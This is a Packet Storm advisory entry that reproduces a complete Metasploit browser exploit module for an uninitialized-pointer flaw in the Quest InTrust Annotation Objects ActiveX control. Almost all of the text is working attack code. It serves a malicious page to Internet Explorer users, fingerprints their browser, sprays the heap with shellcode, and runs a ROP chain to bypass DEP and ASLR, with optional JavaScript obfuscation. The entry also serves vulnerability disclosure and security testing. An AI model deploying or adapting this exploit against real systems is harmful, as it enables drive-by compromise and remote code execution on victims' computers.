Quest InTrust Annotation Objects Uninitialized Pointer

2012-04-13T00:00:00
ID PACKETSTORM:111853
Type packetstorm
Reporter rgod
Modified 2012-04-13T00:00:00

Description

                                        
                                            `###  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = AverageRanking  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super( update_info(info,  
'Name' => 'Quest InTrust Annotation Objects Uninitialized Pointer',  
'Description' => %q{  
This module exploits an uninitialized variable vulnerability in the  
Annotation Objects ActiveX component. The activeX component loads into memory without  
opting into ALSR so this module exploits the vulnerability against windows Vista and  
Windows 7 targets. A large heap spray is required to fulfill the requirement that EAX  
points to part of the ROP chain in a heap chunk and the calculated call will hit the  
pivot in a separate heap chunk. This will take some time in the users browser.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'rgod <rgod[at]autistici.org>', # initial discovery & poc  
'mr_me <steventhomasseeley[at]gmail.com>' # msf module  
],  
'References' =>  
[  
[ 'OSVDB', '80662'],  
[ 'BID', '52765'],  
[ 'URL', 'http://www.exploit-db.com/exploits/18674/']  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
'InitialAutoRunScript' => 'migrate -f'  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
# call dword ptr ANNOTA_1!DllUnregisterServer+0x19235 (44024a50)[eax*4]  
# calculation: <targetaddress> - 0x44024a50 / 4 = Ret  
[ 'Automatic', {} ],  
  
# Windows XP/Vista/IE6/IE7 target  
[  
'Windows XP/Vista SP0-SP3 (IE6/IE7)',  
{  
'Ret' => 0x76767676,  
}  
],  
  
# Windows XP/IE8 target - ASLR/DEP Bypass  
[  
'Windows XP SP0-SP3 DEP bypass (IE8)',  
{  
'Ret' => 0x31AAAD78,  
}  
],  
  
# Windows 7/Vista/IE8 target - ASLR/DEP Bypass  
[  
'Windows 7/Vista ALSR/DEP bypass (IE8)',  
{  
'Ret' => 0x31AAAD78,  
}  
]  
],  
'DisclosureDate' => 'Mar 28 2012',  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptBool.new('OBFUSCATE', [false, 'Enable JavaScript Obfuscation', true])  
], self.class)  
end  
  
def junk  
return rand_text_alpha(4).unpack("L")[0].to_i  
end  
  
def nops(s)  
nops = make_nops(4).unpack("N*") * s  
return nops  
end  
  
def on_request_uri(cli, request)  
#Set target manually or automatically  
my_target = target  
if my_target.name == 'Automatic'  
agent = request.headers['User-Agent']  
if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/ # xp/ie6  
my_target = targets[1]  
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/ # xp/ie7  
my_target = targets[1]  
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 7\.0/ # vista/ie7  
my_target = targets[1]  
elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 8\.0/ # xp/ie8  
my_target = targets[2]  
elsif agent =~ /NT 6\.0/ and agent =~ /MSIE 8\.0/ # vista/ie8  
my_target = targets[2]  
elsif agent =~ /NT 6\.1/ and agent =~ /MSIE 8\.0/ # win7/ie8  
my_target = targets[3]  
end  
end  
  
# Re-generate the payload.  
return if ((p = regenerate_payload(cli)) == nil)  
  
# shellcode  
sc = Rex::Text.to_unescape(p.encoded)  
  
# Randomize object name  
obj_name = rand_text_alpha(rand(100) + 1)  
main_sym = 'main' #main function name  
  
if my_target.name =~ /IE6/ or my_target.name =~ /IE7/  
  
js = <<-EOS  
function heapspray(){  
shellcode = unescape('#{sc}');  
bigblock = unescape("%u0c0c%u0c0c");  
headersize = 20;  
slackspace = headersize+shellcode.length;  
while (bigblock.length<slackspace){ bigblock+=bigblock; }  
fillblock = bigblock.substring(0, slackspace);  
block = bigblock.substring(0, bigblock.length-slackspace);  
while(block.length+slackspace<0x40000){ block = block+block+fillblock; }  
memory = new Array();  
for (i=0;i<1000;i++){ memory[i] = block+shellcode; }  
}  
  
function main(){  
heapspray();  
#{obj_name}.Add(#{my_target.ret},1);  
}  
EOS  
  
end  
  
if my_target.name =~ /IE8/  
  
# all rop gadgets are taken from AnnotateX.dll - v1.0.32.0 (non alsr/non rebase)  
rop_gadgets = [  
junk,  
junk,  
junk,  
0x44014075 # xchg eax,esp ; add [ecx],10 ; retn 8 (pivot)  
].pack('V*')  
  
rop_gadgets << [0x44015CEF].pack('V*') * 140 # padding of retn's  
  
rop_gadgets << [  
0x44015CEF, # retn  
0x44015CEF, # retn  
0x44015CEF, # retn  
0x44015cee, # pop edx ; retn  
0x4401a130, # ptr to &VirtualAlloc() (IAT)  
0x44015ca4, # mov eax,[edx+4] ; retn  
0x44001218, # push eax ; dec eax ; pop esi ; pop ebp ; retn 14  
junk, # filler (compensate)  
0x440159bb, # pop ebp ; retn  
junk, # filler (retn offset compensation)  
junk, # filler (retn offset compensation)  
junk, # filler (retn offset compensation)  
junk, # filler (retn offset compensation)  
0x4400238A, # filler (pop edi ; pop esi ; pop ebp ; retn)  
0x440012c1, # push esp ; ret 08  
0x44016264, # pop ebx ; retn  
0x00004000, # 0x00000001-> ebx  
0x44015cc9, # pop edx ; retn  
0x00001000, # 0x00001000-> edx  
0x44017664, # pop ecx ; retn  
0x00000040, # 0x00000040-> ecx  
0x44017bd8, # pop edi ; retn  
0x44017ebe, # retn  
0x4400bf25, # pop eax ; retn  
0x0C0C2478, # pointer+0x0c to pop edi ; pop esi ; pop ebp ; retn  
0x44005C57, # pushad ; push 8 ; push ecx; push esi; call [eax+c]  
0x90909090, # nops, do not change as it changes the offset  
nops(11)  
].flatten.pack('V*')  
  
rop = Rex::Text.to_unescape(rop_gadgets)  
  
js = <<-EOF  
function heapspray(){  
var payload = unescape('#{rop}');  
payload += unescape('#{sc}');  
var data = payload;  
while(data.length < 100000) { data += data; }  
var onemeg = data.substr(0, 64*1024/2);  
  
for (i=0; i<14; i++) {  
onemeg += data.substr(0, 64*1024/2);  
}  
  
onemeg += data.substr(0, (64*1024/2)-(38/2));  
var block = new Array();  
  
for (i=0; i<700; i++) {  
block[i] = onemeg.substr(0, onemeg.length);  
}  
}  
  
function main(){  
heapspray();  
#{obj_name}.Add(#{my_target.ret},1);  
}  
EOF  
  
#JS obfuscation on demand only for IE8  
if datastore['OBFUSCATE']  
js = ::Rex::Exploitation::JSObfu.new(js)  
js.obfuscate  
main_sym = js.sym('main')  
end  
  
end  
  
content = <<-EOF  
<object classid='clsid:EF600D71-358F-11D1-8FD4-00AA00BD091C' id='#{obj_name}' ></object>  
<script language='JavaScript' defer>  
#{js}  
</script>  
<body onload="#{main_sym}();">  
<body>  
</html>  
EOF  
  
peer = "#{cli.peerhost.ljust(16)} #{self.shortname}"  
print_status("#{peer} Sending HTML...")  
  
#Remove the extra tabs from content  
content = content.gsub(/^\t\t/, '')  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
end  
=begin  
eax=76767676 ebx=4401e51c ecx=01f85340 edx=00000000 esi=01f85340 edi=00000001  
eip=4400ae62 esp=015fd134 ebp=015fd140 iopl=0 nv up ei pl nz na po nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202  
ANNOTA_1+0xae62:  
4400ae62 ff1485504a0244 call dword ptr ANNOTA_1!DllUnregisterServer+0x19235 (44024a50)[eax*4] ds:0023:1ddc2428=????????  
=end  
`